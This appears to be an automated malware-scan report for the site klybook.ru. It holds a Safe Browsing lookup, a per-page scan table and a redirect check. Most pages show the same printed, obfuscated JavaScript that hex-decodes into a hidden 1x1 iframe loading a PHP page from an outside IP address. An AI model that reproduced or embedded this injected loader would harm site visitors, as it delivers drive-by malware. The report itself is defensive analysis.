Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=klybook.ru
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://klybook.ru/ | 200 OK Content-Length: 11910 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_frontpage&Itemid=1 | 200 OK Content-Length: 11564 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=blogsection&id=5&Itemid=202 | 200 OK Content-Length: 16524 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=blogcategory&id=14&Itemid=200 | 200 OK Content-Length: 10339 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=blogsection&id=6&Itemid=203 | 200 OK Content-Length: 12449 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=blogsection&id=7&Itemid=204 | 200 OK Content-Length: 11636 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=blogsection&id=8&Itemid=205 | 200 OK Content-Length: 11475 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_contact&Itemid=3 | 200 OK Content-Length: 13237 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_search&Itemid=5 | 200 OK Content-Length: 9609 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=archivecategory&id=14&Itemid=209 | 200 OK Content-Length: 10115 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index.php?option=com_content&task=archivecategory&year=2007&month=01&module=1 | 200 OK Content-Length: 8685 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/test404page.js | 404 Not Found Content-Length: 1 Content-Type: text/html | clean |
http://klybook.ru/index.php?option=com_content&task=archivecategory&year=2006&month=10&module=1 | 200 OK Content-Length: 13031 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function F1B5B1EBD6CAADD0DB7(A2625E9F425A4E413A550C090C6718){var F137DC292706D98A24E02100810255=16;return(parseInt(A2625E9F425A4E413A550C090C6718,F137DC292706D98A24E02100810255));}function A28544CEDFDF7273B891CDF94B6E2(A8665970002354CE5CB){var DAA88B9748379D759729D1=2;var EA8056E267241594097C6DCC='';for(CA2380843B2AFD36EFBF=0;CA2380843B2AFD36EFBF<A8665970002354CE5CB.length;CA2380843B2AFD36EFBF+=DAA88B9748379D759729D1){EA8056E267241594097C6DCC+=(String.fromCharCode(F1B5B1EBD6CAADD0DB7(A8665970002354CE5CB.substr(CA2380843B2AFD36EFBF,DAA88B9748379D759729D1))));}document.write(EA8056E267241594097C6DCC);}A28544CEDFDF7273B891CDF94B6E2('3C696672616D65207372633D687474703A2F2F35382E36352E3233332E39372F57345951694C42752E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'); Decoded script: <iframe src=http://58.65.233.97/W4YQiLBu.php width=1 height=1 style="display:none"></iframe> Antivirus reports:
| ||
http://klybook.ru/index2.php?option=com_content&task=view&id=12&pop=1&page=0 | 200 OK Content-Length: 5649 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) <!-- document.write('<div align="center" style="margin-top: 30px; margin-bottom: 30px;">'); document.write('<a href="#" onclick="javascript:window.close();"><span class="small">Çàêðûòü îêíî</span></a>'); document.write('</div>'); Antivirus reports:
| ||
http://klybook.ru/index2.php?option=com_content&task=emailform&id=12 | 200 OK Content-Length: 2238 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: klybook.ru
Result:
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Connection: close
Date: Mon, 12 Jan 2015 01:49:47 GMT
Pragma: no-cache
Server: nginx/1.2.9
Content-Length: 11910
Content-Type: text/html;charset=windows-1251
Expires: Wed, 14 Jan 2015 00:00:00 GMT
Last-Modified: Sun, 11 Jan 2015 00:00:00 GMT
...11910 bytes of data.
GET / HTTP/1.1
Host: klybook.ru
Result:
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Connection: close
Date: Mon, 12 Jan 2015 01:49:47 GMT
Pragma: no-cache
Server: nginx/1.2.9
Content-Length: 11910
Content-Type: text/html;charset=windows-1251
Expires: Wed, 14 Jan 2015 00:00:00 GMT
Last-Modified: Sun, 11 Jan 2015 00:00:00 GMT
...11910 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: klybook.ru
Referer: http://www.google.com/search?q=klybook.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: klybook.ru
Referer: http://www.google.com/search?q=klybook.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.